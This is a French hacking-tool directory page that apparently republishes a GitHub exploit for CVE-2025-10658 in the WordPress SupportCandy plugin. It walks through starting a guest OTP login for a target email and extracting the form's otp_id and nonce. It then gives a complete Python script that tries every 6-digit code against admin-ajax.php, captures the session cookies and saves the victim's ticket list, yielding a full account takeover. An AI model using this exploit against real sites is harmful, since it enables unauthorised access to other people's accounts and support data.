Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-10658 — Script d'exploitation Python pour CVE-2025-10658 : force brute de l'OTP à 6 chiffres dans la connexion invité de WordPress SupportCandy pour réaliser une prise de contrôle complète du compte via le point de terminaison admin-ajax.php. | Kitploit
Outils/GitHubGitHub/jfriedli/cve-2025-10658
Attaques de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentification
GitHubjfriedli/cve-2025-10658

CVE-2025-10658

Script d'exploitation Python pour CVE-2025-10658 : force brute de l'OTP à 6 chiffres dans la connexion invité de WordPress SupportCandy pour réaliser une prise de contrôle complète du compte via le point de terminaison admin-ajax.php.

Voir le dépôt
135il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exploitation : Brute Force OTP Invité SupportCandy → Prise de Compte

1) Lancer le flux de connexion OTP (navigateur)

  • Ouvrir :
root@kitploit:~
/support/
  • Sélectionnez connexion invité / OTP
  • Saisir l'email cible (par ex. [email protected])
  • Soumettre

2) Extraire les valeurs requises du formulaire OTP

Dans la réponse DevTools → Network → admin-ajax.php?action=wpsc_authenticate_guest_login :

root@kitploit:~
<input type="hidden" name="otp_id" value="NN">
<input type="hidden" name="_ajax_nonce" value="XXXXXXXXXX">

Enregistrer :

  • OTP_ID
  • NONCE

3) Brute-force de l'OTP

root@kitploit:~
#!/usr/bin/env python3
import requests, time, sys

ORIGIN = "http://localhost/wordpress"
OTP_ID = 22                  # extracted otp_id
NONCE  = "f2349a6ac9"        # extracted nonce
START  = 0
END    = 999999
RATE   = 25                  # requests per second

AJAX = ORIGIN.rstrip("/") + "/wp-admin/admin-ajax.php"

def try_code(sess, code):
    r = sess.post(AJAX, data={
        "action": "wpsc_confirm_guest_login",
        "otp": code,
        "otp_id": str(OTP_ID),
        "_ajax_nonce": NONCE,
    }, timeout=10)

    try:
        j = r.json()
    except Exception:
        return False, None

    return (j.get("isSuccess") == 1), j

def main():
    s = requests.Session()
    interval = 1.0 / max(RATE, 1)

    for n in range(START, END + 1):
        code = f"{n:06d}"

        ok, _ = try_code(s, code)
        if ok:
            print(f"[+] OTP cracked: {code}")
            print("[i] Cookies:", s.cookies.get_dict())

            # Access authenticated page
            page = s.get(ORIGIN + "/support/?wpsc-section=ticket-list")
            open("with_cookie.html", "wb").write(page.content)

            sys.exit(0)

        if n % 1000 == 0:
            print(f"[*] Tried {n} codes...")

        time.sleep(interval)

    print("[!] Exhausted range")

if __name__ == "__main__":
    main()

Exécuter :

root@kitploit:~
python sc_guest_bruteforce_linear.py

4) Prise de contrôle totale du compte

  • Saisir l'OTP à 6 chiffres trouvé dans le formulaire du navigateur
  • Soumettre
Télécharger l’outil